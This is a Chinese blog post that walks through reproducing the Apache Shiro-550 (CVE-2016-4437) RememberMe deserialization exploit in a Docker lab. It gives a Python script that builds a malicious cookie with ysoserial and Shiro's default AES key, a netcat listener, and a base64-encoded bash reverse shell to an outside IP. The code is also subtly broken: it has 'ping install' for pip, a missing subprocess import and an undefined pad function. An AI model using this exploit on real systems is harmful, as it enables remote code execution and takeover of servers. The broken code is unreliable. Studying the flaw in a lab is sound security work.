Shiro RememberMe 1.2.4 反序列化漏洞(Shiro-550, CVE-2016-4437)复现
发布日期:2021-05-16 00:14:27 浏览次数:9 分类:精选文章

本文共 2124 字,大约阅读时间需要 7 分钟。

Shiro RememberMe 1.2.4 反序列化漏洞(Shiro-550, CVE-2016-4437)复现

前言

本文将围绕Shiro RememberMe 1.2.4版本的反序列化漏洞(Shiro-550, CVE-2016-4437)的复现和相关代码审计进行详细描述。该漏洞曾被广泛利用,提供了远程代码执行的可能性。

环境搭建

使用 Docker

由于本次复现需要在虚拟环境下进行,选择使用 Docker 可以更好地控制和管理实验环境。

systemctl start docker

启动Docker服务后,继续执行以下命令下载并启动实验环境:

docker pull medicean/vulapps:s_shiro_1  docker run -d -p 81:8080 medicean/vulapps:s_shiro_1

注意:由于默认情况下CentOS中已经预装了Apache,默认监听80端口,因此将目标端口设置为81以避免端口冲突。

工具准备

1. Shiro 恶意代码示例(shiro_poc.py)

该脚本用于生成有效的RememberMe cookie,用于测试和利用漏洞。

# 依赖安装  ping install pycrypto  ping install subproces
import sys  import base64  import uuid  from random import Random  from subprocess import Popen  from Crypto.Cipher import AES  key = "kPH+bIxk5D2deZiIxcaaaA=="  BS = AES.block_size  def encode_rememberme(command):      popen = Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)      file_body = pad(popen.stdout.read())      iv = uuid.uuid4().bytes      encryptor = AES.new(base64.b64decode(key), AES.MODE_CBC, iv)      base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))      return base64_ciphertext  if __name__ == "__main__":      payload = encode_rememberme(sys.argv[1])      with open("/tmp/payload.cookie", "w") as fpw:          print("rememberMe={}".format(payload.decode()), file=fpw)

将该脚本 放入 /tmp 目录下。

2. Ysoserial 套件

Ysoserial 是一个强大的自动化工具,支持多种反序列化攻击模块,包括Commons-Collections。以下步骤用于获取和构建 Ysoserial:

git clone https://github.com/frohoff/ysoserial.git  cd ysoserial  mvn package -DskipTest

将构建好的 Jar 文件复制到 /tmp/ysoserial-0.0.6-SNAPSHOT-all.jar

模块安装

ping install pycrypto

开始执行

在终端中执行以下命令,通过 netcat 监听反馈:

nc -lvvp 2345

并运行以下命令生成恶意 RememberMe cookie:

python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzUvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"

运行完成后,恶意 cookie 会存储在 /tmp/payload.cookie 中。

##Validation Validation

  • 在浏览器中访问目标应用,登录账户并访问“账户页面”。
  • 使用浏览器的开发者工具(如 Chrome DevTools)捕获发送到服务器的 cookie。
  • 在 cookie 字段中放入从 /tmp/payload.cookie 中读取的内容。
  • 结果分析

    完成上述步骤后,攻击者应当能够通过持有控制台权限进一步扩大影响范围。记得终止命令行会话以避免信息泄露。

    参考文献

    上一篇:如何修改OneDrive文件夹的存储位置
    下一篇:用汇编实现8259中断实验

    发表评论

    最新留言

    路过,博主的博客真漂亮。。
    [***.116.15.85]2025年04月29日 06时14分29秒